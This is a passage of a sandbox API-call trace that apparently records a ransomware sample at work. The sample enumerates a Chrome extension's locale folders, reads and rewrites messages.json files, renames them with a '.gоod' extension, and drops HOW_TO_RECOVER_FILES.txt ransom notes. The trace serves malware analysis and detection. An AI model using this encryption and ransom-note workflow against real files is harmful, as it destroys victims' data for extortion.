[0241.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0241.654] GetFileType (hFile=0x85c) returned 0x1 [0241.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0241.654] GetFileType (hFile=0x85c) returned 0x1 [0241.656] WriteFile (in: hFile=0x85c, lpBuffer=0x39b17f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x39b17f8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0241.657] CloseHandle (hObject=0x85c) returned 1 [0241.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0241.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpFilePart=0x0) returned 0x7b [0241.657] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552da308, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552df141, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552df141, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0241.657] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552da308, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552df141, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552df141, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.658] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552df141, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552e17f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0241.658] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.658] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0241.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0241.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0241.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0241.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpFilePart=0x0) returned 0x7b [0241.658] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552da308, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552df141, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552df141, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0241.658] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552da308, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552df141, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552df141, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.659] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552df141, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552e17f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0241.659] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552df141, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552e17f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0241.659] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0241.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0241.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0241.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json", lpFilePart=0x0) returned 0x89 [0241.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0241.659] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39c17c8 | out: lpFileInformation=0x39c17c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552df141, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552e17f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1 [0241.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0241.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json", lpFilePart=0x0) returned 0x89 [0241.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0241.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0241.659] GetFileType (hFile=0x85c) returned 0x1 [0241.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0241.660] GetFileType (hFile=0x85c) returned 0x1 [0241.660] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe6 [0241.660] ReadFile (in: hFile=0x85c, lpBuffer=0x39c1c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x39c1c68*, lpNumberOfBytesRead=0x1f6e7648*=0xe6, lpOverlapped=0x0) returned 1 [0242.081] CloseHandle (hObject=0x85c) returned 1 [0242.289] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json", lpFilePart=0x0) returned 0x89 [0242.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0242.289] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.290] GetFileType (hFile=0x828) returned 0x1 [0242.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0242.290] GetFileType (hFile=0x828) returned 0x1 [0242.290] WriteFile (in: hFile=0x828, lpBuffer=0x3995bb0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3995bb0*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0242.291] CloseHandle (hObject=0x828) returned 1 [0242.291] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json", lpFilePart=0x0) returned 0x89 [0242.291] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0242.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0242.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552df141, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552e17f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8ca216c2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0242.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0242.291] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.gоod")) returned 1 [0242.292] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0242.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0242.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0242.293] GetFileType (hFile=0x828) returned 0x1 [0242.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0242.293] GetFileType (hFile=0x828) returned 0x1 [0242.294] WriteFile (in: hFile=0x828, lpBuffer=0x39994e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x39994e8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0242.294] CloseHandle (hObject=0x828) returned 1 [0242.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0242.295] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpFilePart=0x0) returned 0x7b [0242.295] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552e8d7f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552edba8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552edba8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0242.295] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552e8d7f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552edba8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552edba8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.295] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552edba8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552f0258, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0242.295] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.296] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0242.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0242.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0242.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0242.296] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpFilePart=0x0) returned 0x7b [0242.296] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552e8d7f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552edba8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552edba8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0242.296] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552e8d7f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552edba8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552edba8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.296] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552edba8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552f0258, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0242.296] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552edba8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552f0258, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0242.296] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0242.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0242.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0242.297] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json", lpFilePart=0x0) returned 0x89 [0242.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0242.297] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39a94b8 | out: lpFileInformation=0x39a94b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552edba8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552f0258, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0242.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0242.297] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json", lpFilePart=0x0) returned 0x89 [0242.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0242.297] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.297] GetFileType (hFile=0x828) returned 0x1 [0242.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0242.297] GetFileType (hFile=0x828) returned 0x1 [0242.297] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd0 [0242.297] ReadFile (in: hFile=0x828, lpBuffer=0x39a9940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x39a9940*, lpNumberOfBytesRead=0x1f6e7648*=0xd0, lpOverlapped=0x0) returned 1 [0242.462] CloseHandle (hObject=0x828) returned 1 [0244.637] GetFullPathNameW (in: 